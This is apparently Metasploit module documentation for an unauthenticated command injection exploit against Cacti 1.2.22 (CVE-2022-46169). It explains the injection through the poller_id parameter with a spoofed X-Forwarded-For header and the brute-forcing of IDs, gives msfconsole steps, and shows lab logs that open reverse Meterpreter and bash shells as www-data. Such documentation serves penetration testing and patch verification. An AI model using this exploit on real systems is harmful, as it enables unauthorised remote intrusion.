Vulnerable Application
This module exploits an unauthenticated command injection vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in order to achieve unauthenticated remote code execution as the www-data user.
The module first attempts to obtain the Cacti version to see if the target is affected.
If LOCAL_DATA_ID
and/or HOST_ID
are not set, the module will try to bruteforce the missing value(s).
For the bruteforce, the total number of possible requests is limited to 1,000.
However, it is possible to set the range for the local_data_id
and host_id
values to try
via the advanced options MIN_HOST_ID
(default 1), MAX_HOST_ID
(default 5), MIN_LOCAL_DATA_ID
(default 1)
and MAX_LOCAL_DATA_ID
(default 100).
If a valid combination is found, the module will use these to attempt exploitation.
If LOCAL_DATA_ID
and/or HOST_ID
are both set, the module will immediately attempt exploitation.
The bruteforce attempt can have three possible outcomes:
- Failure: No vulnerable
host_id
andlocal_data_id
are found. - Success: A
host_id
andlocal_data_id
combination is found that is positively identified as vulnerable. The module determines this by comparing therrd_name
returned by the server to a list of data sources known to be vulnerable. - Indeterminate: The module identified several
host_id
andlocal_data_id
combinations for which the server returns an emptyrrd_name
value. Many data sources in Cacti do not have anrrd_name
value, some of which are vulnerable. In this case, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it. Instead of trying to exploit all potentially vulnerablehost_id
andlocal_data_id
combinations without anrrd_name
, the module stores these. When the bruteforce attempt finishes with an indeterminate outcome, the list of potentially vulnerablehost_id
andlocal_data_id
combinations is printed to the console. The user can then manually verify if any of these combinations are actually exploitable by using them to set theHOST_ID
andLOCAL_DATA_ID
options.
During exploitation, the module sends a GET request to /remote_agent.php
with the action parameter set to polldata
and the X-Forwarded-For
header set to the provided value for X_FORWARDED_FOR_IP
(by default 127.0.0.1
).
In addition, the poller_id
parameter is set to the payload and the host_id
and local_data_id
parameters
are set to the bruteforced or provided values.
If X_FORWARDED_FOR_IP
is set to an address that is resolvable to a hostname in the poller table,
and the local_data_id
and host_id
values are vulnerable, the payload set for poller_id
will be executed by the target.
This module has been successfully tested against Cacti version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)
Installation Information
Cacti is open source, and vulnerable versions can be obtained from the official GitHub repository under releases. As a shortcut, a vulhub entry is available here that allows you to spin up a vulnerable instance via a single docker-compose command. The vulhub page also contains instructions for how to complete the Cacti installation, how to make it vulnerable, and a PoC.
Additional details about the exploit are available here
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/http/cacti_unauthenticated_cmd_injection
- Do:
set RHOSTS [IP]
- Do:
set LHOST [IP]
- Do:
set SRVHOST [IP]
- Do:
exploit
Options
TARGETURI
The base path to Cacti. The default value is /
.
HOST_ID
The host_id
value to use. By default, the module will try to bruteforce this.
LOCAL_DATA_ID
The local_data_id
value to use. By default, the module will try to bruteforce this.
X_FORWARDED_FOR_IP
The IP to use in the X-Forwarded-For
HTTP header. This should be resolvable to a hostname in the poller table. Default: 127.0.0.1
Advanced Options
MIN_HOST_ID
Lower value for the range of possible host_id
values to check for. Default: 1
MAX_HOST_ID
Upper value for the range of possible host_id
values to check for. Default: 5
MIN_LOCAL_DATA_ID
Lower value for the range of possible local_data_id values to check for. Default: 1
MAX_LOCAL_DATA_ID
Upper value for the range of possible local_data_id values to check for. Default: 100
Targets
Id Name
-- ----
0 Automatic (Unix In-Memory)
1 Automatic (Linux Dropper)
Scenarios
Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce)
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST_ID no The host_id value to use. By default, the module will try to bruteforce this.
LOCAL_DATA_ID no The local_data_id value to use. By default, the module will try to bruteforce this.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.195 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 192.168.91.195 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
resses.
SRVPORT 9090 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to Cacti
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.91.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Automatic (Linux Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 505 combinations
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[+] Found exploitable local_data_id 180 for host_id 1
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 bytes)
[*] Meterpreter session 1 opened (192.168.91.195:4444 -> 10.18.0.3:45322) at 2022-12-22 16:43:59 +0200
meterpreter > getuid
Server username: www-data
Cacti 1.2.22 - Unix In-Memory - HOST_ID and LOCAL_DATA_ID set (immediate exploitation)
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST_ID 1 no The host_id value to use. By default, the module will try to bruteforce this.
LOCAL_DATA_ID 182 no The local_data_id value to use. By default, the module will try to bruteforce this.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.195 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 192.168.91.195 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
resses.
SRVPORT 9090 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to Cacti
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.91.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Executing the payload. This may take a few seconds...
[*] Command shell session 1 opened (192.168.91.195:4444 -> 10.18.0.3:50802) at 2022-12-22 16:51:46 +0200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce with undetermined result, then manual exploitation)
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST_ID no The host_id value to use. By default, the module will try to bruteforce this.
LOCAL_DATA_ID no The local_data_id value to use. By default, the module will try to bruteforce this.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.195 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 192.168.91.195 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
resses.
SRVPORT 9090 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to Cacti
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.91.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Automatic (Linux Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[*] Performing request 100...
[*] Enumerating local_data_id values for host_id 2
[*] Performing request 125...
[*] Performing request 150...
[*] Performing request 175...
[*] Performing request 200...
[*] Enumerating local_data_id values for host_id 3
[*] Performing request 225...
[*] Performing request 250...
[*] Performing request 275...
[*] Performing request 300...
[*] Enumerating local_data_id values for host_id 4
[*] Performing request 325...
[*] Performing request 350...
[*] Performing request 375...
[*] Performing request 400...
[*] Enumerating local_data_id values for host_id 5
[*] Performing request 425...
[*] Performing request 450...
[*] Performing request 475...
[*] Performing request 500...
[!] Identified 15 host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:
host_id: 1 - local_data_id: 156
host_id: 1 - local_data_id: 157
host_id: 1 - local_data_id: 158
host_id: 1 - local_data_id: 164
host_id: 1 - local_data_id: 166
host_id: 1 - local_data_id: 167
host_id: 1 - local_data_id: 168
host_id: 1 - local_data_id: 169
host_id: 1 - local_data_id: 170
host_id: 1 - local_data_id: 173
host_id: 1 - local_data_id: 174
host_id: 1 - local_data_id: 175
host_id: 1 - local_data_id: 176
host_id: 1 - local_data_id: 177
host_id: 1 - local_data_id: 178
[*] You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options
[-] Exploit aborted due to failure: no-target: Failed to identify an exploitable host_id - local_data_id combination.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set host_id 1
host_id => 1
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set local_data_id 156
local_data_id => 156
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 bytes)
[*] Meterpreter session 2 opened (192.168.91.195:4444 -> 10.18.0.3:54964) at 2022-12-22 16:56:42 +0200
meterpreter > getuid
Server username: www-data